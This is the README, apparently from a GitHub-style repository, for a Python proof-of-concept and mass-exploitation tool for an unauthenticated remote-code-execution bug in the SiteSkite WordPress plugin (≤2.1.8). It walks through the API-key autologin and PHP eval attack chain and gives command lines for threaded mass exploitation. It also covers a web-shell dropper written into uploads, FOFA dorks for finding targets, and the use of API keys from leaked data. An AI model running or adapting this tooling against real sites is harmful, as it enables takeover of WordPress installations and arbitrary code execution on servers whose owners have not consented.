
Python PoC и инструмент массовой эксплуатации для CVE-2026-96349 — неаутентифицированного RCE в плагине WordPress SiteSkite ≤2.1.8 через автологин по API-ключу и PHP eval в MCP.
| Поле | Значение |
|---|---|
| CVE | CVE-2026-96349 |
| Продукт | SiteSkite плагин WordPress |
| Затронуто | ≤ 2.1.8 |
| Исправлено | 2.2.0 |
| CWE | CWE-94 — Improper Control of Generation of Code |
| CVSS | 10.0 (Critical) — Patchstack advisory |
| Каталог PoCbit | https://pocbit.org/pocs/ |
| Страница PoCbit | https://pocbit.org/pocs/cve-2026-96349 |
| Маркер проверки | POCBIT-96349-OK |
PoC на Python в том же стиле, что и CVE-2026-102425: интерактивное меню, массовый эксплойт (по умолчанию), --check, -u, --lab, пул потоков, hits.txt / exploited.txt.
Patchstack и программа CVE описывают CVE-2026-96349 как уязвимость удалённого выполнения кода без аутентификации в плагине SiteSkite. Публичный текст намеренно краток; исправление от вендора 2.2.0 (сентябрь 2026) существенно затрагивает аутентификацию и автовход. Статическое сравнение 2.1.8 и 2.2.0 в этом репозитории (extract-2.1.8/, extract-2.2.0/) показывает практическую поверхность атаки, которую реализует этот PoC.
SiteSkite — крупный плагин WebOps: резервные копии, API портала и встроенный AI MCP («abilities»), включая продвинутые инструменты, вызывающие eval() для PHP-кода, предоставленного атакующим (siteskite_execute_php), и запись произвольных файлов (siteskite_write_file). Эти возможности доступны через REST и через admin-ajax.php, когда сайт связан с API-ключом SiteSkite.
Критическая ошибка в ≤ 2.1.8 заключается в том, что один и тот же долгоживущий API-ключ служит одновременно bearer-токеном для входа в WordPress под администратором без аутентификации:
AutoLoginController принимает ?token=<siteskite_api_key> на /siteskite-autologin и через handle_token_login() на любом URL фронтенда, содержащем ?token=….get_option('siteskite_api_key') (без подписи портала, без одноразового nonce).wp_set_auth_cookie() для первого администратора, с опциональным обходом 2FA для Solid Security и подобных плагинов.2.2.0 удаляет этот путь: bearer-токены с сырым API-ключом отклоняются (проверки hash_equals, «Login Unavailable»), а вход требует подписанных ссылок, выданных порталом (AutologinPortalSignature). Ядро безопасности mu-plugin больше не принимает вход по устаревшим ключам.
С точки зрения атакующего цепочка выглядит так:
/?token=KEY или /siteskite-autologin?token=KEY).POST /wp-json/siteskite/v1/abilities/execute (или admin-ajax.php?action=siteskite_api) с заголовком X-SiteSkite-Key: KEY и выполнить siteskite_execute_php или загрузить up.php через siteskite_write_file → POCBIT-96349-OK.Продвинутые инструменты MCP по умолчанию включены в 2.1.8 (McpSettings::DEFAULT_ADVANCED = '1'), поэтому многие связанные сайты предоставляют eval, как только ключ становится известен.
| Компонент | Поведение 2.1.8 | Изменение в 2.2.0 |
|---|---|---|
includes/Core/AutoLoginController.php | ?token= совпадает с сохранённым API-ключом → admin cookie | Необработанный ключ отклоняется; только HMAC-вход через портал |
includes/Mcp/Abilities/AdvancedAbilities.php | siteskite_execute_php → eval($code) | Всё ещё присутствует; ограничено авторизацией + настройками |
includes/Mcp/AbilitiesRest.php | X-SiteSkite-Key → выполнение abilities | Та же поверхность; autologin больше не раскрывает сессию без ключа |
includes/API/FallbackAPI.php | wp_ajax_nopriv_siteskite_api проксирует abilities при валидном ключе | По-прежнему требует ключ / гостевой ключ |
Существуют и другие неаутентифицированные REST-маршруты (UploadRest, регистрация OAuth), но они требуют токенов или PKCE; они не являются основной цепочкой, моделируемой здесь.
| Файл | Роль |
|---|---|
poc.py | CLI / интерактивный / массовый эксплойт |
_engine.py | HTTP-логика, метаданные PoCbit, лабораторный сервер |
up.php | Опциональный веб-шелл-пробник (?pocbit=1 → маркер) |
targets.example.txt | Список URL; опционально URL<TAB>api_key |
extract-2.1.8/ / extract-2.2.0/ | Исходный код вендора для diff (не требуется для запуска PoC) |
pip install requests coloramapython poc.py
Запросы: режим, необязательный глобальный API-ключ, целевой файл, потоки (по умолчанию 16), таймаут.
exploited.txtpython poc.py fofa_targets.txt
python poc.py urls.txt --key YOUR_SITESKITE_API_KEY
python poc.py urls.txt -t 24 -T 25
Ключи для каждой цели (tab, пробел или pipe после URL):
https://customer.example abc123…siteskiteKey…
https://other.site|anotherKey
Резервный вариант через переменные окружения: SITESKITE_API_KEY или SITESKITE_KEY.
hits.txtpython poc.py --check fofa_targets.txt
Отпечаток: Stable tag в readme.txt, ответ об отсутствии токена в устаревшем /siteskite-autologin, версия ≤ 2.1.8.
python poc.py -u https://target.example --check
python poc.py -u https://target.example --key SITE_SKITE_KEY
python poc.py --lab
Запускает 127.0.0.1:8796 с поддельным readme 2.1.8, автологином и эндпоинтом abilities; должен вернуть "exploited": true.
flowchart LR
A[Target URL] --> B{readme ≤ 2.1.8?}
B -->|no| Z[skip / patched]
B -->|yes| C{API key known?}
C -->|no| N[needs_api_key]
C -->|yes| D[POST abilities/execute]
D --> E{siteskite_execute_php}
E -->|marker| F[RCE verified]
E -->|fail| G[autologin ?token=KEY]
G --> D
E -->|fail| H[write_file / ajax fallback]
H --> F
siteskite_execute_php с echo POCBIT-96349-OK;route=/abilities/execute)siteskite_write_file → wp-content/uploads/pocbit_96349.phpeval — вспомогательный дроппер для up.phpСтроки JSON-результата включают pocbit, pocbit_catalog, pocbit_page, URL-адреса CVE и verify_marker для конвейеров логирования.
Примеры (адаптируйте под свой индексатор):
body="/wp-content/plugins/siteskite/"
header="siteskite" && body="wp-content/plugins"
Режим проверки не выполняет брутфорс API-ключей. Режим эксплуатации требует ключ, если у вас уже нет пар url\tkey из вашего собственного портала или данных утечек.